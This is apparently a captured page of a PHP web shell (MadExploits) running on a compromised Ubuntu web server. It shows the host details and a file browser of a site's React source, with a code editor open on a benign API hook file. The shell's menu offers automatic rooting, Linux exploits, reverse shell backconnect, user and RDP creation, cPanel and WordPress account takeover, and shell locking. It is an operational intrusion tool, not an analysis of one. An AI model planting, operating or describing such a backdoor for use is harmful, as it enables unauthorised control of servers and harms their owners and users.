Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cqt /
src /
hooks /
[ HOME SHELL ]
Name
Size
Permission
Action
use-mobile.tsx
576
B
-rw-r--r--
use-toast.ts
3.84
KB
-rw-r--r--
useAPI.tsx
8.02
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : useAPI.tsx
import { useAuth } from '../contexts/AuthContext'; const API_BASE_URL = import.meta.env.VITE_API_URL || 'http://localhost:5000'; export const useAPI = () => { const { token } = useAuth(); const getAuthHeaders = () => ({ 'Content-Type': 'application/json', ...(token && { 'Authorization': `Bearer ${token}` }) }); // Generic CRUD functions const getAll = async (endpoint: string) => { const response = await fetch(`${API_BASE_URL}/api/${endpoint}`); if (!response.ok) throw new Error(`Failed to fetch ${endpoint}`); return response.json(); }; const getById = async (endpoint: string, id: string) => { const response = await fetch(`${API_BASE_URL}/api/${endpoint}/${id}`); if (!response.ok) throw new Error(`Failed to fetch ${endpoint} item`); return response.json(); }; const create = async (endpoint: string, data: any) => { const response = await fetch(`${API_BASE_URL}/api/${endpoint}`, { method: 'POST', headers: getAuthHeaders(), body: JSON.stringify(data) }); if (!response.ok) { const error = await response.json(); throw new Error(error.error || 'Failed to create item'); } return response.json(); }; const createWithFile = async (endpoint: string, data: any, file?: File, fieldName: string = 'image') => { const formData = new FormData(); // Append all form fields to FormData Object.keys(data).forEach(key => { if (data[key] !== undefined && data[key] !== null) { if (Array.isArray(data[key])) { formData.append(key, JSON.stringify(data[key])); } else { formData.append(key, data[key]); } } }); // Append file if provided with custom field name if (file) { formData.append(fieldName, file); console.log(`📤 Uploading file as '${fieldName}':`, file.name, file.type, file.size); } console.log(`📤 Creating ${endpoint} with FormData`); const response = await fetch(`${API_BASE_URL}/api/${endpoint}`, { method: 'POST', headers: { ...(token && { 'Authorization': `Bearer ${token}` }) }, body: formData }); if (!response.ok) { const error = await response.json(); console.error('❌ Create failed:', error); throw new Error(error.error || 'Failed to create item'); } const result = await response.json(); console.log('✅ Create successful:', result); return result; }; const update = async (endpoint: string, id: string, data: any) => { const response = await fetch(`${API_BASE_URL}/api/${endpoint}/${id}`, { method: 'PUT', headers: getAuthHeaders(), body: JSON.stringify(data) }); if (!response.ok) { const error = await response.json(); throw new Error(error.error || 'Failed to update item'); } return response.json(); }; const updateWithFile = async (endpoint: string, id: string, data: any, file?: File, fieldName: string = 'image') => { const formData = new FormData(); // Append all form fields to FormData Object.keys(data).forEach(key => { if (data[key] !== undefined && data[key] !== null) { if (Array.isArray(data[key])) { formData.append(key, JSON.stringify(data[key])); } else { formData.append(key, data[key]); } } }); // Append file if provided with custom field name if (file) { formData.append(fieldName, file); console.log(`📤 Uploading file as '${fieldName}':`, file.name, file.type, file.size); } console.log(`📤 Updating ${endpoint}/${id} with FormData`); const response = await fetch(`${API_BASE_URL}/api/${endpoint}/${id}`, { method: 'PUT', headers: { ...(token && { 'Authorization': `Bearer ${token}` }) }, body: formData }); if (!response.ok) { const error = await response.json(); console.error('❌ Update failed:', error); throw new Error(error.error || 'Failed to update item'); } const result = await response.json(); console.log('✅ Update successful:', result); return result; }; const deleteItem = async (endpoint: string, id: string) => { const response = await fetch(`${API_BASE_URL}/api/${endpoint}/${id}`, { method: 'DELETE', headers: getAuthHeaders() }); if (!response.ok) { const error = await response.json(); throw new Error(error.error || 'Failed to delete item'); } return response.json(); }; // Specific endpoint functions return { // Research research: { getAll: () => getAll('research'), getById: (id: string) => getById('research', id), create: (data: any) => create('research', data), createWithFile: (data: any, file?: File) => createWithFile('research', data, file), update: (id: string, data: any) => update('research', id, data), updateWithFile: (id: string, data: any, file?: File) => updateWithFile('research', id, data, file), delete: (id: string) => deleteItem('research', id) }, // News news: { getAll: () => getAll('news'), getById: (id: string) => getById('news', id), create: (data: any) => create('news', data), createWithFile: (data: any, file?: File) => createWithFile('news', data, file), update: (id: string, data: any) => update('news', id, data), updateWithFile: (id: string, data: any, file?: File) => updateWithFile('news', id, data, file), delete: (id: string) => deleteItem('news', id) }, // Courses courses: { getAll: () => getAll('courses'), getById: (id: string) => getById('courses', id), create: (data: any) => create('courses', data), createWithFile: (data: any, file?: File) => createWithFile('courses', data, file), update: (id: string, data: any) => update('courses', id, data), updateWithFile: (id: string, data: any, file?: File) => updateWithFile('courses', id, data, file), delete: (id: string) => deleteItem('courses', id) }, // Workshops workshops: { getAll: () => getAll('workshops'), getById: (id: string) => getById('workshops', id), create: (data: any) => create('workshops', data), createWithFile: (data: any, file?: File) => createWithFile('workshops', data, file), update: (id: string, data: any) => update('workshops', id, data), updateWithFile: (id: string, data: any, file?: File) => updateWithFile('workshops', id, data, file), delete: (id: string) => deleteItem('workshops', id) }, // Team (uses 'photo' field) team: { getAll: () => getAll('team'), getById: (id: string) => getById('team', id), create: (data: any) => create('team', data), createWithFile: (data: any, file?: File) => createWithFile('team', data, file, 'photo'), update: (id: string, data: any) => update('team', id, data), updateWithFile: (id: string, data: any, file?: File) => updateWithFile('team', id, data, file, 'photo'), delete: (id: string) => deleteItem('team', id) }, // Publications (uses 'pdf' field) publications: { getAll: () => getAll('publications'), getById: (id: string) => getById('publications', id), create: (data: any) => create('publications', data), createWithFile: (data: any, file?: File) => createWithFile('publications', data, file, 'pdf'), update: (id: string, data: any) => update('publications', id, data), updateWithFile: (id: string, data: any, file?: File) => updateWithFile('publications', id, data, file, 'pdf'), delete: (id: string) => deleteItem('publications', id) }, // Labs labs: { getAll: () => getAll('labs'), getById: (id: string) => getById('labs', id), create: (data: any) => create('labs', data), createWithFile: (data: any, file?: File) => createWithFile('labs', data, file), update: (id: string, data: any) => update('labs', id, data), updateWithFile: (id: string, data: any, file?: File) => updateWithFile('labs', id, data, file), delete: (id: string) => deleteItem('labs', id) } }; };
Close